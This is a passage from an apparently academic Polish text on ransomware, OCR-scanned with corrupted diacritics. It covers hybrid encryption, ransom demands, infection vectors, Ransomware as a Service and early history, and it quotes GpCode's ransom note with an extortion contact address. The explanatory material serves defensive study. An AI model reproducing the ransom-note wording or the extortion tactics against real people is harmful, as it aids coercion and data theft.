Proces szyfrowania - szyfrowanie polega na przeksztatceniu danych w sposéb, ktéry
najczesciej uniemozliwia ich odczytanie bez posiadania odpowiedniego klucza
deszyfrujacego. Atakujacy przewaznie korzystajg z powszechnie znanych algorytmow
kryptograficznych takich jak np. algorytm RSA czy tez algorytm AES.

Zmiana nazw plikéw - ransomware czesto zmienia nazwy zaszyfrowanych plikow

lub dodaje do nich charakterystyczne dla danej rodziny ransomware rozszerzenie.



e Szyfrowanie symetryczne — do szyfrowania zawartosci pliku (danych) oprogramowanie
ransomware przewaznie korzysta ze znanych algorytmow szyfrowania symetrycznego,
takich jak np. algorytm AES. W wiekszosci przypadkdéw kazdy plik szyfrowany jest
z wykorzystaniem innego, wygenerowanego w sposéb pseudolosowy, klucza.
Nastepnie klucz ten jest szyfrowany z wykorzystaniem algorytmow asymetrycznych,
np. RSA i w takiej postaci jest dodawany do zawartosci zaszyfrowanego pliku.

e Szyfrowanie asymetryczne — oprogramowanie ransomware przewaznie korzysta ze
znanych algorytmow kryptografii asymetrycznej, takich jak np. RSA, do zabezpieczania
(szyfrowania) kluczy symetrycznych uzywanych do szyfrowania plikéw. Dzieki temu,
podczas etapu deszyfrowania pliku, w pierwszej kolejnosci odzyskiwany jest klucz
symetryczny, a nastepnie z wykorzystaniem tego klucza odzyskiwane sg dane pliku.
Sam proces tworzenia par kluczy (klucz publiczny, klucz prywatny) dla algorytmdw
asymetrycznych wykonywany jest najczesciej:

o Podczas fazy szyfrowania danych ransomware generuje pare kluczy. Klucz
publiczny jest wykorzystywany do szyfrowania kluczy symetrycznych, klucz
prywatny jest wysytany na serwer C&C.

o Podczas fazy instalacji — pobierana z Internetu binarna wersja oprogramowania
ransomware posiada wbudowane klucze publiczne, ktére zostang wykorzystane
podczas ataku. Alternatywnie, klucze publiczne moga zosta¢ pobrane w fazie
instalacji z serwera C&C. Podejscie to jest grozniejsze dla potencjalnej ofiary, gdyz
podczas ataku w pamieci operacyjnej (RAM) systemu komputerowego nigdy nie
pojawi sie klucz prywatny, i czesto wykorzystywane techniki sledzenia zawartosci
pamieci RAM czy tez tworzenia jej zrzutow, bede nieskuteczne w kontekscie

naprawy plikdéw uszkodzonych podczas ataku ransomware.

Faza szyfrowania danych jest czescig ataku ransomware, podczas ktdrej ofiara traci dostep

do swoich danych.

1.4.4 Zadanie okupu

Faza zadania okupu jest kolejnym etapem w typowym ataku ransomware. W fazie tej
uzytkownik nie posiada dostepu do czesci swoich danych, a cyberprzestepcy nie uzyskali
jeszcze bezposrednich korzysci finansowych ze skutecznie przeprowadzonej fazy infiltracji,

instalacji oraz szyfrowania danych. W fazie zgdania okupu cyberprzestepcy komunikujg sie
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z ofiarg istawiajg zadania zaptaty okupu w zamian za mozliwos¢ odzyskania dostepu do

danych. Gtéwne aspekty fazy zgdania okupu to:

Prezentacja wiadomosci o okupie - po zakonczeniu fazy szyfrowania danych
ransomware czesto wyswietla na ekranie systemu komputerowego wiadomos,
w ktérej informuje o zaszyfrowanych danych i wyjasnia, ze jedynym sposobem na ich
odzyskanie jest zaptata okupu. Przewaznie wiadomos¢ ta jest dodatkowo umieszczana
w postaci plikow tekstowych we wszystkich folderach, w ktérych zaszyfrowane zostaty
jakiekolwiek pliki.

Zadanie zapfaty - wiadomos$¢ okupu zawiera szczegéty dotyczace kwoty, ktérg ofiara
musi zapfaci¢, oraz instrukcje dotyczace sposobu dokonania ptatnosci. Czesto
atakujacy zadajg ptatnosci w kryptowalutach, co ma na celu utrudnienie sledzenia
transakcji oraz identyfikacji odbiorcy okupu.

Termin waznosci - wiadomos¢ okupu czesto zawiera rowniez termin waznosci, ktéry
okresla czas, w ktérym ofiara musi dokonac ptatnosci. Przewaznie jest to stosunkowo
krotki okres, co ma na celu wywarcie presji na ofierze. Po tym okresie czesto wzrasta
zadana kwota okupu.

Zagrozenia i szantaz emocjonalny - wiadomos¢ okupu moze zawieraé grozby i szantaz
emocjonalny, wcelu przekonania ofiary do zaptacenia okupu. Atakujacy moga
twierdzi¢, ze w przeciwnym razie dane zostang trwale zniszczone lub opublikowane
w sieci Internet.

Mozliwos¢ negocjacji - w niektérych przypadkach ofiara ma mozliwos¢ negocjacji
z cyberprzestepcami w sprawie kwoty okupu.

Zaniepokojenie ipresja - wiadomo$¢ okupu ma dodatkowo nacelu wzbudzenie

zaniepokojenia i presji na ofierze, aby szybko podjeta decyzje w sprawie ptatnosci.

Warto zaznaczy¢, ze zapfacenie okupu nie gwarantuje, ze ofiara odzyska swoje dane.

Cyberprzestepcy nadal majg kontrole nad kluczem deszyfrujgcym, a po zaptaceniu okupu

mogaq dostarczyc ten klucz lub nie. Dlatego organy Scigania i eksperci ds. cyberbezpieczeristwa

zazwyczaj odradzajg ptacenie okupu, azamiast tego zalecajg szukanie innych sposobow

na odzyskanie dostepu do zaszyfrowanych danych.
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II.5 Sposoby rozprzestrzenienia

Oprogramowanie ransomware moze rozprzestrzenia¢ sie rdéznymi sposobami.

Cyberprzestepcy podczas fazy infiltracji czesto wykorzystujg rézne techniki celem infekcji

duzej liczby systemdw komputerowych. Najczesciej stosowanymi metodami s3:

Ztosliwe wiadomosci e-mail (phishing) - tojedna znajpopularniejszych metod
rozprzestrzeniania ransomware. Cyberprzestepcy wysyfajg fatszywe wiadomosci e-
mail, ktére zawierajg ztosliwe zatgczniki lub linki. Ofiary, ktére klikajg w te zataczniki
lub linki, moga zostac¢ zainfekowane ransomware.

Podatnosci w oprogramowaniu - atakujgcy moga wykorzystywac znane podatnosci
w systemach operacyjnych, przegladarkach internetowych lub innych programach,
aby zdalnie zainfekowaé komputery ofiar. Aktualizacje oprogramowania itatki
bezpieczenstwa pomagajg ograniczyé to ryzyko. Dodatkowo cyberprzestepcy moga
korzysta¢ z podatnosci typu zero-day, czyli podatnosci, dla ktédrych w momencie
przeprowadzania ataku nie ma aktualizacji bezpieczenstwa, i w wielu przypadkach
producenci oprogramowania nie sg swiadomi istnienia tych luk bezpieczenstwa.
Ztosliwe strony internetowe - atakujgcy moga tworzyé¢ ztosliwe strony internetowe,
ktére wykorzystujg stabe punkty w przegladarkach lub systemach operacyjnych ofiar.
Ofiary, ktére odwiedzaja te strony, mogg zostaé zainfekowane ransomware.
Zainfekowane pliki - atakujgcy mogg umieszczaé ztosliwe oprogramowanie w plikach
przeznaczonych do pobrania umieszczonych nardéznych stronach internetowych,
forach internetowych lub w serwisach udostepniajgcych pliki. Ofiary, ktére pobiorg
oraz uruchomig te pliki, ryzykuja zainfekowanie ransomware.

Wykorzystanie narzedzi do pracy zdalnej - atakujgcy moga zdalnie eksploatowaé
systemy, wykorzystujgc narzedzia, takie jak zdalne pulpity, protokoty zdalnego dostepu
itp. Gdy cyberprzestepcy dostang sie na zainfekowane urzadzenia, mogg zainstalowac
oraz uruchomi¢ oprogramowanie ransomware.

Rozprzestrzenianie sie w sieci lokalnej (LAN) — niektore wersje ransomware mogg
rozprzestrzeniaé¢ sie w sieci lokalnej, jesli zainfekowany system komputerowy jest
podtagczony do wspdlnej sieci zinnymi urzadzeniami. Atakujacy moga probowac
przechwycic dane uwierzytelniajace lub wykorzystaé inne techniki,

aby rozprzestrzeniaé ransomware w sieci LAN.
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e Wykorzystywanie ztosliwych reklam (malvertising) - atakujacy mogg umieszczaé
ztodliwe reklamy na stronach internetowych, ktére, po kliknieciu w nie, moga
prowadzi¢ do zainfekowania komputera oprogramowaniem ransomware.

e Ataki z wykorzystaniem socjotechniki - cyberprzestepcy czesto prébuja manipulowad
uzytkownikami, np. podszywajagc sie pod pracownikow pomocy technicznej
i przekonujac ofiary do udzielenia dostepu do swoich komputerdéw.

e Rozprzestrzenianie sie przez serwery iustugi sieciowe - w przypadku niektérych
rodzajéw ransomware, atakujgcy mogg prébowaé rozprzestrzeniac je wykorzystujac
podatnosci w serwerach i sSwiadczonych ustugach sieciowych.

e Zainfekowane urzadzenia przenosne i nosniki pamieci - atakujgcy moga umieszczac
ztosliwe pliki na nosnikach pamieci, takich jak pendrive'y, ktére mogay infekowaé

komputery, gdy sg podtgczane do nich.

11.5.1 Ztosliwe wiadomosci e-mail (phishing)

Ztosliwe wiadomosci e-mail, znane rdéwniez jako phishing e-mail, tojedna
z najpopularniejszych form atakéw phishingowych. Polegajg na wysytaniu fatszywych
wiadomosci e-mail, ktére udaja pochodzenie od zaufanych Zrddet lub organizacji w celu
oszukania odbiorcy i wytudzenia od niego poufnych informacji lub srodkéw finansowych. Oto

gtéwne cechy ztosliwych wiadomosci e-mail typu phishing:

e Fatszywe Zrddto - atakujacy podszywajq sie pod znane i zaufane zrddta, takie jak banki,
serwisy internetowe, firmy kurierskie, czy instytucje rzgdowe. Czesto uzywajg logo,
znakdw towarowych i tresci, ktére wydajg sie autentyczne.

e Pouczajgcy tytuti tresé - wiadomosci phishingowe czesto posiadajg tytuty i tres¢, ktére
wywotujg u odbiorcy emocjonalng reakcje, jak np. ostrzezenia o naruszeniach
bezpieczenstwa, nagrody czy pilne prosby o dziatanie.

e Linki izataczniki - wiadomosci zawierajg linki lub zatgczniki, ktére prowadzg do
ztosliwych stron internetowych lub instalujg ztosliwe oprogramowanie na komputerze
ofiary.

e Prosba o udzielenie informacji - cyberprzestepcy prosza odbiorcow o udostepnienie
poufnych informacji, takich jak hasta, numery kart kredytowych, numery kont

bankowych, numery ubezpieczenia spotecznego czy inne dane osobowe.
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e Presja czasu - wiadomosci czesto zawierajg terminy waznosci lub grozby, sugerujac,
ze natychmiastowe dziatanie jest konieczne.

e Rozpowszechnianie strachu i dezinformacji - atakujacy moga prébowac wprowadzié
ofiare w stan paniki, wywotujgc fatszywe obawy natemat bezpieczeristwa konta

lub informujac o nieistniejgcych problemach.

[1.5.2 PodatnosSci w oprogramowaniu

Wykorzystanie podatnosci wystepujacych w oprogramowaniu to kolejna z bardzo czesto
uzywanych przez cyberprzestepcéw technik do infekcji systemdéw komputerowych i urzadzen.
Polega ona na wykorzystaniu znanych lub publicznie nieznanych (zero-day) podatnosci

w oprogramowaniu, aby zdalnie lub lokalnie przeprowadzi¢ atak na system komputerowy.
Podatnosci w oprogramowaniu:

e Podatnos¢ oprogramowania (btedy) - stabosci w oprogramowaniu, nazywane réwniez
btedami lub podatnosciami, to nieprawidtowosci w kodzie Zzrodtowym programu
lub systemu operacyjnego. Mogg one pojawia¢ sie wwyniku btedéw
programistycznych, niespdjnosci w projektowaniu oprogramowania lub brakéw
w zabezpieczeniach.

e Znane vs. nieznane podatnosci - stabosci w oprogramowaniu mogg by¢ znane
lub nieznane. Znane podatnosci to te, ktdre zostaty udokumentowane i sg znane przez
dostawcédw oprogramowania, atakze przez spotecznos¢ bezpieczenstwa. Nieznane
podatnosci to takie, ktére nie zostaty jeszcze wykryte lub nie sg ogdlnie znane.
Podatnosci znane w momencie przeprowadzania ataku tylko przez cyberprzestepcéw

nazywamy podatnosciami typu zero-day.

Exploit — to kod lub technika, ktéra wykorzystuje podatnos¢ w oprogramowaniu w celu
uzyskania dostepu do systemu lub przeprowadzenia ataku. Exploity mogg by¢ tworzone przez

cyberprzestepcow lub badaczy bezpieczeristwa. Cechy charakteryzujgce exploitéw to:

e Rodzaje podatnosci - istnieje wiele rodzajow podatnosci, wtym podatnosci
systemowe, podatnosci przegladarek internetowych, podatnosci oprogramowania

serwerowego, podatnosci systemow operacyjnych itp.
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e Cele - atakujgcy moga wykorzystywac podatnosci w celu zdobycia dostepu do systemu,
przejecia kontroli nad komputerem, uruchomienia ztosliwego oprogramowania,
kradziezy danych lub przeprowadzenia innych dziatan zagrazajacych bezpieczenstwu.

e Etyczne wykorzystanie podatnosci - istniejg rowniez tzw. etyczni hakerzy, ktérzy
wykorzystujg podatnosci w celu identyfikacji inaprawy luk w oprogramowaniu,
zamiast przeprowadzania atakéw. Taka praktyka jest czesto stosowana w celach
przeprowadzania testow penetracyjnych oprogramowania, systemow

komputerowych czy tez systemow teleinformatycznych.

[1.5.3 Ztosliwe strony internetowe

Ztosliwe strony internetowe to zasoby sieci Internet, ktére zostaty utworzone w celu
oszukania uzytkownikéw lub zainfekowania ich systeméw komputerowych ztosliwym
oprogramowaniem. Takie strony mogg wykorzystywaé rozne techniki, aby infekowac
komputery, wytudza¢ informacje Ilub przeprowadza¢ inne dziatania zagrazajace
bezpieczenstwu. Ztosliwe strony internetowe mozna podzieli¢ nakilka podstawowych

rodzajow:

e Phishingowe strony internetowe - strony te udajg inne witryny, takie jak strony
bankdéw, serwisy mediow spotecznosciowych czy poczta e-mail, w celu wytudzenia
od uzytkownikéw poufnych informacji, takich jak hasta, numery kart kredytowych czy
dane osobowe.

e Strony zawierajgce ztosliwe oprogramowanie (Malware Hosting Sites) - strony
zawierajg ztosliwe pliki lub skrypty, ktére mogg infekowac¢ urzadzenia uzytkownikow,
ktorzy je odwiedzg lub pobiorg z nich pliki.

e Strony ze szkodliwymi reklamami (Malvertising Sites) - niektére reklamy online mogg
przekierowywac uzytkownikéw do ztosliwych stron, ktdre prébujg infekowad system
komputerowy uzytkownika ztosliwym oprogramowaniem lub wytudzaé informacje.

e Strony rozpowszechniajgce fatszywe informacje (Scam Sites) - strony
rozpowszechniajg dezinformacje lub probujg oszukaé uzytkownikéw, np. poprzez
oferowanie fatszywych produktow, ustug lub inwestycji.

e Strony zwigzane z cyberprzestepczoscia (Dark Web Sites) - w czesci tzw. ciemnej czesci
Internetu (tzw. darknet), mozna odnalez¢ strony zwigzane z nielegalnymi dziataniami

takimi jak np. handel narkotykami, handel bronig, handel wykradzionymi danymi
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osobowymi. Dodatkowo, w sieci darknet mozna tatwo znalez¢ serwisy, ktdre swiadczg
ustugi cyberprzestepcze - np. ustugi typu RaaS (ransomware as a Service).

Strony wykorzystujgce ataki typu zero-day - cyberprzestepcy mogg tworzy¢ strony
internetowe zawierajgce ztosliwe kody lub skrypty, ktére wykorzystujg nowe, nieznane
wczesniej podatnosci np. w przegladarkach internetowych lub wtyczkach do

przegladarek (tzw. ataki zero-day).

I1.5.4 Zainfekowane pliki

Zainfekowane pliki zawierajg ztosliwe oprogramowanie (malware) i mogg infekowaé

systemy komputerowe lubinne urzadzenia, na ktérych zostang uruchomione (otwarte).

Cyberprzestepcy czesto wykorzystujg rézine techniki, aby przekona¢ uzytkownikéw do

pobrania i uruchomienia zainfekowanych plikow. Zainfekowane pliki podzieli¢ mozna na kilka

gtéwnych rodzajow:

Ztosliwe zataczniki e-mailowe - cyberprzestepcy mogg wysytaé e-maile z zatgcznikami,
ktore wydajg sie by¢ dokumentami, zdjeciami czy innymi plikami. Po otwarciu takiego
zatgcznika moze zosta¢ wykonany np. skrypt, ktory pobierze z Internetu i uruchomi
zfosliwe oprogramowanie.

Ztosliwe pliki wykonywalne (executable files) - atakujgcy czesto zamieszczajg ztosliwe
pliki wykonywalne, ktére mogg by¢ uruchomione na komputerze ofiary. To moze by¢
ztosliwy program, wirus, trojan, ransomware czy inna forma malware.

Ztosliwe pliki archiwum (zip, rar) - ztosliwe oprogramowanie moze by¢ ukryte w plikach
archiwum, takich jak pliki ZIP lub RAR. Po rozpakowaniu takiego archiwum
na komputerze, ztosliwe oprogramowanie moze zosta¢ uruchomione.

Ztosliwe pliki torrent i pirackie oprogramowanie - pobieranie plikdow z sieci torrent
lub korzystanie z pirackiego oprogramowania niesie ryzyko, ze uzytkownik pobierze
plik z zainfekowanym oprogramowaniem, ktére moze zaszkodzi¢ jego komputerowi.
Fatszywe aktualizacje inarzedzia - atakujacy czasem tworzg fatszywe aktualizacje
systemu lub narzedzia do optymalizacji systemu. Uzytkownicy, ktdrzy pobierajg
i uruchamiajg takie pliki, moga zostac¢ zainfekowani.

Ztosliwe pliki na stronach internetowych - strony internetowe moga zawierac linki do
ztosliwych plikdéw do pobrania. Po kliknieciu takiego linku, uzytkownik moze zostaé

przekierowany na strone z pobieraniem ztos$liwego oprogramowania.
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1.6 Ransomware as a Service

Ransomware as a Service (RaaS) to model biznesowy, w ramach ktérego cyberprzestepcy

wynajmuja lub korzystajg z gotowych narzedzii oprogramowania do przeprowadzania atakéw

ransomware. Jest to rodzaj ustugi oferowanej przewaznie z wykorzystaniem sieci darknet.

Ustuga ta umozliwia cyberprzestepcom przeprowadzanie atakdédw ransomware, nawet jesli

sami nie majg zaawansowanej wiedzy technicznej. Gtéwne cechy ielementy zwigzane

z ustugami typu Raas to:
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Narzedzia i oprogramowanie - ustuga RaaS dostarcza przestepcom gotowe narzedzia
i oprogramowanie do przeprowadzania atakéw ransomware. Mogg to by¢ ztosliwe
programy, ktore szyfrujg pliki ofiary, atakze elementy do zarzadzania okupem
i komunikacja z ofiara.

Model biznesowy - ustuga RaaS dziata na zasadzie modelu biznesowego polegajgcego
na udostepnianiu narzedzi za optatg lub w zamian zacze$¢ wytudzonego okupu.
Tworcy ustugi i uzytkownicy ptacg pewng kwote lub udziat z kazdego okupu, ktory jest
pobierany od ofiary.

Zakres dostosowywania - przestepcy korzystajgcy z RaaS mogg dostosowywaé
narzedzia do wtasnych potrzeb, takie jak wybdr docelowych ofiar, wielkosci okupu czy
okresu aktywnosci ransomware.

Wsparcie techniczne - niektére ustugi RaaS oferujg wsparcie techniczne dla swoich
klientéw, co moze obejmowac pomoc w prowadzeniu atakdéw, obstuge techniczng czy
tez rozwigzywanie problemoéw.

Naruszenie bezpieczenstwa i dostepnosé - ustugi RaaS znaczgco przyczyniajg sie do
wzrostu liczby atakéw ransomware i zwiekszajg dostepnos¢ narzedzi przestepczych, co
sprawia, ze osoby oréznym poziomie technicznym mogg korzysta¢ ztej formy
cyberprzestepczosci.

Zagrozenie dla firmy ijednostek - ustugi RaaS stanowig powazne zagrozenie dla
instytucji panstwowych, przedsiebiorstw, organizacji ijednostek, poniewaz
umozliwiajg przestepcom przeprowadzanie atakdédw naszeroky skale, co moze
prowadzi¢ np. do trwatej utraty danych, szkéd finansowych czy tez strat

wizerunkowych.



Geneza Ransomware as a Service (RaaS) jest zwigzana z rozwojem cyberprzestepczosci
oraz dostepnoscia technologii. Kluczowe kwestie majg wptyw na powstanie oraz rozwdj tego

typu ustug to np.:

e Rozwdj technologii - rozwdj technologii komputerowych i dostepnos¢ narzedzi do
tworzenia zfosliwego oprogramowania umozliwity przestepcom tworzenie bardziej
zaawansowanych i skutecznych narzedzi ransomware.

e Popyt naransomware - ataki ransomware staty sie bardziej optacalne ze wzgledu
na mozliwos¢ wytudzenia okupu od ofiar. Firmy i instytucje czesto byty gotowe pfacic¢
bardzo wysokie okupy, aby odzyska¢ dostep do swoich cennych danych.

e Ekonomiczny model biznesowy - koncepcja RaaS jest oparta na modelu biznesowym,
ktory pozwala tworcom narzedzi ransomware na generowanie dochodéw poprzez
wynajem swojego oprogramowania innym przestepcom. To sprawito, ze dla wielu
grup przestepczych stato sie to bardziej optacalne niz samodzielne przeprowadzanie
atakéw.

e Zdecentralizowana struktura przestepcza - RaaS pasuje do zdecentralizowanej
struktury przestepczej, w ktdrej rézne grupy lub osoby mogg korzysta¢ z narzedzi
i oprogramowania bez centralnego zarzadzania.

e Niska kryminalizacja - przestepcy dziatajacy w obszarze cyberprzestepczosci czesto
unikajg ryzyka zwigzanego zatakami ransomware, korzystajagc zustug RaaS.
To pozwala im pozostaé w ukryciu i unikac aresztowan.

e Skomplikowane technicznie narzedzia - tworzenie zaawansowanego ransomware
moze wymagaé specjalistycznej wiedzy technicznej. Dzieki RaaS osoby
bez technicznego doswiadczenia mogg przeprowadza¢ ataki ransomware.

e Zysk i niskie ryzyko - dla twércéw narzedzi RaaS oznacza to potencjalne zyski z optat
generowanych przez uzytkownikdow ich narzedzi, przy jednoczesnym zmniejszeniu

ryzyka bycia schwytanym przez organy $cigania.

Dlatego tez ustugi typu Ransomware as a Service stato sie popularnym izyskownym
modelem biznesowym w dziedzinie cyberprzestepczosci. Dzieki niemu rézni przestepcy moga
tatwo przeprowadza¢ ataki ransomware na szerokg skale, co stanowi istotne zagrozenie dla

instytucji, firm i jednostek.
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Za jeden z pierwszych przyktadéw ustugi typu RaaS uwaza sie narzedzie Tox** (Tox-
Ransomware), ktére pojawito sie na poczgtku 2015 roku. Tox byto narzedziem ransomware,
ktore umozliwiato przestepcom infekowanie systeméw komputerowych ofiar, szyfrowanie ich
danych i zadanie okupu za odszyfrowanie. Co istotne, Tox byt dostepny dla przestepcéw jako
ustuga w modelu RaaS. Twércy Tox udostepnili narzedzie innym osobom, ktére mogty je
wykorzysta¢ do przeprowadzenia atakéw iwytudzenia okupdw. Wraz z uptywem czasu
pojawito sie wiele innych ustug Raa$, zaréwno publicznie dostepnych, jak i prywatnych, ktére
umozliwiaty przestepcom tatwe przeprowadzanie atakdw ransomware na szerokg skale. Te
ustugi oferowaty rézne poziomy dostosowania, wsparcia technicznego i optat za korzystanie

z narzedzi.

24 Ransomware Tox, PCrisk, https://www.pcrisk.pl/narzedzia-usuwania/7917-tox-ransomware, (dostep 02.2022)
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Il.7 Rys historyczny oprogramowania ransomware

Ponizej przedstawiam krétki rys historyczny oprogramowania ransomware, ktodre

rozwinefo sie na przestrzeni ostatnich kilku dekad:

Lata 80. i 90. - poczatki ransomware siegaja lat 80. i 90. XX wieku. Jednym z pierwszych
znanych przypadkéw ransomware byto oprogramowanie o nazwie AIDS (AIDS Info
Disk)?. Pojawito sie ono w 1989 roku.

Lata 2000-2010 - w pierwszej dekadzie XXI wieku pojawity sie rdézne warianty
ransomware, ale zagrozenie to nie byfo jeszcze tak powszechne jak jest dzisiaj. Ztosliwe
oprogramowanie tego typu zazwyczaj blokowato dostep do komputera i wyswietlato
komunikaty, ktére udawaty, ze komputer zostat zablokowany przez jakie$ oficjalne
instytucje lub organy scigania.

Rok 2013- w2013 roku pojawito sie jedna zpierwszych znaczacych wersji
oprogramowania ransomware - CryptoLocker. Byt to jeden z pierwszych przypadkow
ransomware, ktéry wykorzystywat zaawansowane techniki szyfrowania danych.
CryptolLocker zyskat duzg stawe i stworzyt schemat dziatania chetnie powielany przeze
cyberprzestepcéw w wielu pdzniejszych wersjach ransomware.

Rok 2017 - w 2017 roku pojawifa sie jedna z najgrozniejszych wersji ransomware
w historii - WannaCry. Skuteczne ataki z wykorzystaniem WannaCry przeprowadzone
zostaty na wiele firm, instytucji rzadowych isystemoéw opieki medycznej na catym
Swiecie. WannaCry wykorzystywat podatnosci w systemach Windows i dodatkowo
posiadat mechanizmy, umozliwiajace szybkie rozprzestrzenianie sie.

Od 2010 - wdrugiej dekadzie XXI wieku nastgpit znaczacy wzrost liczby atakow
ransomware, wtym wykorzystujgcych model Ransomware as a Service (RaaS).
Przestepcy wyraznie udoskonalili techniki atakéw i zaczeli zadac¢ znacznie wyzszych
okupdw. Pojawity sie grozne i znane rodzaje ransomware, takie jak np. Locky, Cerber,
Ryuk, Sodinokibi (REvil).

Od 2020 - ransomware pozostaje jednym z najpowazniejszych zagrozen w dziedzinie
cyberbezpieczeristwa. Ataki na duze organizacje, agencje rzagdowe, szpitale i mate

firmy nadal stanowig powazny problem. Przestepcy stale ewoluujg, a nowe warianty

25 AIDS Info Disk, WatchGuard, https://www.watchguard.com/wgrd-ransomware/aids-trojan, (dostep 06.2022)
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ransomware pojawiajg sie regularnie. Za wzrostem liczby atakéw ransomware

odpowiedzialny jest rowniez nieustanny rozwdj i doskonalenie ustug typu RaasS.

[1.7.1 AIDS Info Disk

"AIDS Info Disk" to jedna z pierwszych wersji oprogramowania ransomware. Pojawifo sie
po raz pierwszy w 1989 roku iinfekowato systemy komputerowe korzystajace z systemu
operacyjnego DOS. Program ten zostat stworzony przez Dr. Joseph Poppa. Oprogramowanie
"AIDS Info Disk" byto rozpowszechniane w postaci dyskietek, ktore byty rozsytane na rézne
konferencje medyczne zwigzane z tematem AIDS. Dyskietki zawieraty program, ktéry zmieniat
nazwy plikéw na dysku twardym komputera i szyfrowat je, a nastepnie wyswietlat komunikat,
w ktérym Zzadat od uzytkownika optacenia okupu w wysokosci 189 dolaréw narzecz
Miedzynarodowej Agencji ds. Badania AIDS. Podobnie zatem jak obecne wersje
oprogramowania ransomware, "AIDS Info Disk" do przeprowadzenia fazy infiltracji
wykorzystat socjotechnike i phishing z wykorzystaniem aktualnego wtedy medium wymiany

danych - dyskietek.

Sam program stanowit dos¢ prymitywny rodzaj ransomware w poréwnaniu do
wspotczesnych wariantéw, ale byt jednym z pierwszych znanych przypadkéow proby
wyfudzenia pieniedzy od uzytkownikow komputeréw poprzez blokowanie dostepu do plikow.
Nie byt tez szczegdlnie rozpowszechniony, ale zapisat sie w historii jako jeden z prekursoréow

ransomware.

[1.7.2 Lata 2000-2010

Lata 2000-2010 byty okresem istotnego rozwoju technologii teleinformatycznych i zmian
w dziedzinie cyberprzestepczosci. W ciggu tego dziesieciolecia nastgpit znaczacy wzrost
dostepnosci do Internetu i wykorzystywania technologii informatycznych, co z kolei wptyneto
na rozwoj réznych rodzajéw ztosliwego oprogramowania, w tym ransomware. Oto kilka

kluczowych wydarzen i zjawisk z tego okresu:

e Wozrost popularnosci sieci Internet - Internet stat sie powszechnie dostepny i zyskat
na popularnosci. To umozliwito cyberprzestepcom dotarcie do wiekszej liczby
potencjalnych ofiar oraz przeprowadzanie atakéw na szerokg skale.

e Rozwdj technologii komunikacyjnych - rozwdj technologii komunikacyjnych takich jak

np. e-mail, komunikatory internetowe imedia spotecznosciowe, umozliwit
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przestepcom fatwiejsze kontaktowanie sie z ofiarami i rozpowszechnianie ztosliwego
oprogramowania.

e Wozrost liczby komputeréow osobistych - wzrost liczby komputeréw osobistych iich
powszechne wykorzystanie w firmach i domach stworzyt wiekszy obszar docelowy dla
cyberprzestepcow.

e Ztosliwe oprogramowanie typu trojan - przestepcy zaczeli wykorzystywacé trojany
(malware podszywajacy sie pod legalne programy) do infekowania komputerdéw ofiar
i do kradziezy poufnych danych, takich jak hasta czy dane bankowe.

e Ataki phishingowe - ataki phishingowe staty sie bardziej wyrafinowane i powszechne.
Przestepcy wysytali fatszywe e-maile itworzyli strony internetowe, aby oszukiwac
uzytkownikow i wytudzaé od nich poufne informacje.

e Rozwdj oprogramowania antywirusowego i narzedzi bezpieczenstwa - w odpowiedzi
na rosngce zagrozenia firm z branzy bezpieczenistwa informatycznego rozwijaty coraz
bardziej zaawansowane narzedzia antywirusowe i rozwigzania bezpieczenstwa.

e Znane przypadki ransomware - pojawity sie w znane przypadki ransomware, takie jak

GpCode.

GpCode pojawit sie w okolicach roku 2006. Ransomware GpCode rozprzestrzeniat sie
giéwnie za pomocg metod phisingowych z wykorzystaniem poczty e-mail. Wiele infekc;ji
spowodowanych zostato poprzez otwarcie zatgcznika z wiadomosci e-mail, ktéry udawat

formularz o prace.

%% ALL YOUR PERSONAL FILES WERE ENCRYPTED
WITH A STRONG ALGORYTHM RSA-1024
&) AND YOU CAN'T GET AN ACCESS TO THEM
- WITHOUT MAKING OF WHAT WE NEED!

e READ 'HOW TO DECRYPT' TXT-FILE
ON YOUR DESKTOP FOR DETAILS

JUST DO IT AS FAST AS YOU CAN!
REMEMBER: DON'T TRY TO TELL SOMEONE

ABOUT THIS MESSAGE IF YOU WANT TO GET
YOUR FILES BACK! JUST DO ALL WE TOLD.

Rysunek 1. GpCode - pulpit systemu Windows XP po infekcji
(zrodio: https://www.knowbe4.com/gpcode)
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GpCode szyfrowat pliki na komputerze ofiary, co uniemozliwiato dostep do nich.
Szyfrowane byty m.in. dokumenty izdjecia uzytkownika znajdujgce sie w systemowym
folderze uzytkownika (Moje dokumenty). Po zaszyfrowaniu plikdw, GpCode wyswietlat

komunikat, w ktérym zgdat od ofiary okupu w zamian za klucz deszyfrujacy pliki.

P HOW TO DECRYPT FILES - Notepad =13
File Edit Format View Help

Attention!!
Al1Tl your personal files (photo, documents, texts, databases, certificates,
kwm—¥i1es, video) have heen encrypted by a very strong cypher RSA-1024. The
original files are deleted. You can check this by yourself - just look for
files in all folders.

There is no possibility to decrypt these files without a special decrypt
program! Nobody can help you - even don't try to find another method or tell
anybody. Also after n days all encrypted files will be completely deleted and
you will have no chance to get it back.

we can help to solve this task for 120§ via wire transfer (bank transfer
SWIFT/IBAN). And remember: any harmful or bad words to our side will be a reason
for ingoring your message and nothing will be done.

For details you have to send your request on this e-mail (attach to message a
full serial key shown below in this 'how to..' file on desktop):
datafinder@fastmail.fm

£14314F 661N sehadeaes®) 5 5 5 AE 2 8E04 7FFF32304 000503 544 D2 AFCOEL SFA 5850

1D0592F4658D23C24EQ179785ABC4277814C41470A62A6ED
821EB640AESBFF273A66A6D01093032255C2EEDBYLASEGF6CCCEA4ES20184E4137F6EQOBE7F7CD83D
BF431AB7FF3F58DCLB3CFFF5708F81416325151EDSF6B22B

Rysunek 2. GpCode - notatka z zZgdaniem okupu
(zrodio: https://www.knowbe4.com/gpcode)

Pierwsze wersje GpCode umozliwiaty tatwe odzyskanie zaszyfrowanych danych. Wynikato
to z faktu, iz GpCode zapisywat zaszyfrowane pliki w nowych lokalizacjach w systemie plikow,
a oryginalne wersje plikdw oznaczat jako usuniete. Dzieki temu, korzystajgc z narzedzi do
odzyskiwania przypadkowo usunietych plikdw, mozna byto odzyskaé niezaszyfrowane wersje
danych. Niektére wersje GpCode dodatkowo korzystaty tylko iwytgczenia z szyfrowania
symetrycznego z kluczem zapisanym w kodzie programu. Dzieki temu, mozliwe byto
odzyskanie klucza szyfrujgcego przeprowadzajgc inzynierie wsteczng koddéw binarnych
GpCode. Pierwsze wersje, w ktorych wykorzystano réwniez kryptografie asymetryczna,
korzystaty z algorytmu RSA z kluczem o dtugosci 660 bitow. Dodatkowo, niektore wersje
GpCode tworzyty w zaatakowanym systemie backdoor'a, ktéry umozliwiat i znaczaco utatwiat
kolejne ataki cyberprzestepcom. W roku 2010 pojawita sie wersje GpCode korzystajgca
